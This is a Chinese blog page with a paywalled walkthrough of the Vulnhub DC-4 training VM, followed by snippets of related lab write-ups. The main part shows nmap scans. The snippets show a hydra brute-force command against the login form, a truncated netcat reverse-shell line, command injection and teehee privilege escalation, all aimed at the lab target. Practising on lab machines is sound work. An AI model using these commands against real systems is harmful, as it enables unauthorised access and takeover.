Vulnhub靶机实战——DC-4

最新推荐文章于 2023-01-01 07:39:56 发布
最新推荐文章于 2023-01-01 07:39:56 发布
阅读量3.2k 收藏 15
点赞数 5
分类专栏： 靶机 文章标签： DC-4 靶机 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_43583637/article/details/101556645
版权

靶机DC-4下载地址：https://download.vulnhub.com/dc/DC-4.zip

描述：从靶机DC-3开始，只有一个入口和一个最终的flag，只有拿到root权限才可以发现最终的flag，DC-4也是一样

 

环境：Vmware 15 Pro虚拟机软件

          DC-4靶机IP地址：192.168.220.138

          Kali的IP地址：192.168.220.131

 

DC-4靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.131

ip addr

使用nmap工具扫描192.168.220.0/24网段发现存活主机，扫到DC-4靶机IP为：192.168.220.138

nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP

使用nmap工具对DC-4靶机扫描开放的端口，开放端口有22（ssh）、80（http）

nmap -T4 -A 192.168.220.138 -p- -oN nmap138.A

浏览器打开靶机网址，是一个登录页面

http://192.168.220.138

登录页面提示“admin information systems

最低0.47元/天 解锁文章
【vulnhub】---DC-4靶机
qq_43168364的博客
08-21 2097
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：DC-4靶机(192.168.15.152) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗透步骤 渗透思路 ......
Vulnhub靶机实战——DC-3
冠霖L的博客
09-27 9235
靶机DC-3下载地址：https://download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址：https://download.vulnhub.com/dc/DC-3VMware.zip 注：开始将DC-3.ova文件导入VMware虚拟机，发现无法获取到靶机IP地址，作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware，然...
Vulnhub渗透测试靶机DC-4
weixin_46128614的博客
01-19 527
下载地址：https://www.vulnhub.com/entry/dc-4,313/ nmap没有扫描到什么有用端口 直接访问80端口 只有一个认证框 没有验证 bp爆破admin弱密码 发现密码admin qwert 进入后台 发现有执行命令的地方 抓包发现命令由post包传过去 执行的命令由客户端传到了服务端 命令执行获取shell 把nc -e /bin/sh 192.168.49...
Vulnhub靶机 DC-4
菜浪马废的博客
03-23 503
信息收集 `arp-scan -l 扫描本地 nmap -sV 192.168.0.132 扫描靶机开放端口` 开放80端口，访问一下页面 是个登录页面，而且可以用爆破来登录，没有验证机制 安装pydictor，一个字典生成工具，用它生成一个用户名字典 git clone --depth=1 --branch=master https://www.github.com/landgrey/p...
DC-4靶机
weixin_50815573的博客
03-08 5706
一、DC-4的信息收集 1.确定IP，端口号； 命令：nmap -sP 192.168.159.0/24 探测到主机的ip为192.168.1.165，下一步进行端口判断； 命令：nmap -A -p- -T4 192.168.1.165 查看源码，我们可以收集到以下信息： 1.页面通过post提交 2.用户名的由username接收 3.密码由password接收 4.表单信息提交到login.php页面进行登陆判断 二、通过暴力破解密码，成功登陆 1.确定密码字典,.
Vulnhub DC-4
Pai_Space
02-17 652
描述： 只有一个标志，但从技术上讲，有多个入口点，就像上次一样，没有线索。 192.168.37.133 直接 submit 就可以登录 hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.37.133 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -f ...
Vulnhub靶机实战——DC-2
冠霖L的博客
09-27 4966
靶机DC-2下载地址：https://download.vulnhub.com/dc/DC-2.zip 描述：靶机DC-2与DC-1一样，共有5个flag，但最终需要root权限才可以找到并查看flag 环境：Vmware 15 Pro虚拟机软件 DC-1靶机IP地址：192.168.220.132 Kali的IP地址：192.168.22...
Vulnhub靶机实战——DC-1
冠霖L的博客
09-27 2061
靶机DC-1下载地址：https://download.vulnhub.com/dc/DC-1.zip 描述：靶机DC-1共有5个flag，并且需要root权限才可以找到并查看flag 环境：Vmware 15 Pro虚拟机软件 DC-1靶机IP地址：192.168.220.130 Kali的IP地址：192.168.220.131 本...
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 5166
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
vulnhub靶场，DC-4
kukudeshuo的博客
07-12 374
vulnhub靶场，DC-4 环境准备 攻击机：kali（192.168.58.130） 靶机：DC-4（192.168.58.147） 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境，启动即可，将网段设置为NAT模式 信息收集 使用arp-scan确定目标靶机 确定目标靶机IP为192.168.58.147 使用nmap扫描查看目标靶机端口开放情况 开放端口：22、80 浏览器访问目标靶机的80端口 就是一个登入页面，不知道账号密码，所以没有多大用处 网站目录扫描
[VulnHub]DC-4
cosmoslin的博客
09-07 187
VulnHub——DC-4渗透测试过程记录 测试人员：cosmos 目标地址：192.168.131.130 目标账号：未知 目标主机：未知 信息搜集 1.netdiscover netdiscover -r 192.168.131.0/24 2.masscan masscan --rate=10000 --ports 0-65535 192.168.131.130 3.nmap nmap -A 192.168.131.130 网站测试 进入网站 发现需要登录,提示admin登录，猜测用户名
靶机 DC-4
m0_66299232的博客
09-19 394
hydra -L user.txt -P password.txt ssh://192.168.166.133 //-L,-P 都是大写。4.可以看到在/home/jim/backups目录下存在文件old-passwords.bak，可能是密码的备份文件。1.查看存活主机，根据分析得出 192.168.166.133是DC-4靶机IP地址。5.teehee这个root用户不需要密码就能登录，直接拿flag,轻松拿下4.发现了另外一个账户，并且文中有该账户的密码。既然我们获得了旧密码，也获得了账户。命令执行
vulnhub靶机之DC-4
m0_52328368的博客
08-19 1231
vulnhub之dc-4详细步骤
vulnhub 入门DC-4
weixin_52780973的博客
01-01 251
vulnhub 实战靶机 linux teehee提权 hydra爆破登录框 ssh连接收到mail
Vulnhub靶场渗透-DC-4
paidx0
10-21 293
前言 靶机IP（192.168.110.134） 攻击机IP（192.168.110.127） 网络NAT模式 信息收集 访问80端口，提示以admin的用户名登录 直接爆破了，爆破结果是 admin：happy 漏洞利用 登录进去发现是个可以RCE的 思路是不是来了，很显然直接弹shell了 怎么弹shell就不多说了，我的靶场笔记很多都有写 存在三个用户 进入jim的backups文件夹发现了很多的旧密码，思路这不就又来了 开放ssh服务，很显然是要我们去爆破了 拿到jim的账号了，登
Vulnhub靶机渗透测试——DC-4
Cobra的博客
05-03 1858
一、实验环境 攻击机（kail）:192.168.189.148 靶机（ubuntu）：192.168.189.183 二、信息收集 1、使用nmap进行主机发现 nmap 192.168.189.0/24 2、发现IP192.168.189.183，再使用nmap对其进行扫描 nmap -sV -A -T4 -p- 192.168.189.183 3、发现其开放80,22端口，访问其80端口，是一个登录框 4、在对其进行SQL注入，目录扫描无果后，果断选择暴力破解..
Vulnhub DC-4 teehee 提权
ST0new的博客
07-21 1700
Vulnhub 之 DC-4 本文只用于学习知识，不要将其用于非法途径， 前言 DC已经做了一半了，前三次都是基于初学者的，这次的难度就提升了，适合初学者和入门的伙伴。 还是按照常例看看作者是怎么描述的吧。 下载地址 DC-4 描述 DC-4是另一个专门建造的脆弱实验室，目的是获得渗透测试领域的经验。 ​ 与以前的DC版本不同，这个版本主要是为初学者/中间用户设计的。只有一面旗帜，但技术上来说，有...
渗透测试学习之靶机DC-4
xdbzdgx的博客
11-18 3855
1.下载靶机 本篇文章是DC靶机系列的第四篇，针对的是靶机DC-4，建议感兴趣的读者从DC-1开始练习，详细内容可以看我之前的文章。 DC-4的下载地址为DC: 5 ~ VulnHub。下载后解压为.ova文件，该格式可直接在VMware上打开，如果显示打开失败，点击重试即可成功，如果仍无法成功可百度、谷歌解决。 同样地，DC-4只有一个flag。 在VMware加载成功之后显示如下界面： 默认状态我们是打不开该系统的，也不知道账号密码的，毕竟我们的目的就是在不知道账号密码的情况下拿到ro
DC-4靶机攻略
weixin_47311099的博客
07-16 392
DC-4攻略 信息收集 主机发现 nmap -sP 192.168.64.0/24 -oN nmap.sP 发现目标主机ip为192.168.64.139 端口扫描 nmap -A 192.168.64.139 -p 1-65535 -oN nmap_A 发现80http 和22ssh 访问80 目录扫描 dirb http://192.168.64.139 后台登录主页为http://192.168.64.139/index.php 渗透 爆破web账密 发现以post方式传参到l
vulnhub靶机DC-1
最新发布
02-08
### VulnHub DC-1 靶机 攻略 介绍 #### 下载地址 VulnHub是一个提供各种虚拟机镜像用于安全测试和学习渗透测试技巧的平台。对于DC-1靶机，可以在[VulnHub官网](https://www.vulnhub.com/)搜索并下载该靶机镜像文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值